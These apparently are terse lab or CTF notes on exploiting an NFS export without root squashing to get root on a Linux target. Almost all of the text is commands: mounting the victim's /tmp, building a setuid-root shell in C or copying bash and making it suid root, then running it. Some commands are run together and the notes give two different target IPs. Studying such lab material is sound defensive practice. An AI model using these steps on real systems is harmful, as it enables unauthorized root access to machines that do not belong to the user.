NFS Root Squashing
check:
cat /etc/exports
this means that the /tmp folder is shareable and can be mounted so we can mount it!
how?
on Kali:
showmount -e 10.10.231.117this is the victim machine IP

we can mount /tmp
make directory:
mkdir /tmp/mountmesudo mount -v -o rw,vers=3 10.10.221.115:/tmp /tmp/mountmeOn Victim: (This isn’t working, alternative at the bottom)
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/x.cgcc x.c -o xcompile:
gcc /tmp/mountme/x.c -o /tmp/mountme/xadd perms:
sudo chown root:root /tmp/mountme/xsudo chmod +s /tmp/mountme/x
On the ssh tmp folder:
/tmp/x
Alternative (bash, no compile):
on victim:
cp /bin/bash /tmp/bash
on Kali:
sudo mount -v -o rw,vers=3 10.10.221.115:/tmp /tmp/mountmesudo chown root:root /tmp/mountme/bashsudo chmod +s /tmp/mountme/bash
On Victim:
/tmp/bash -pReader ratings (none yet)
Ratings come from verified buyers only.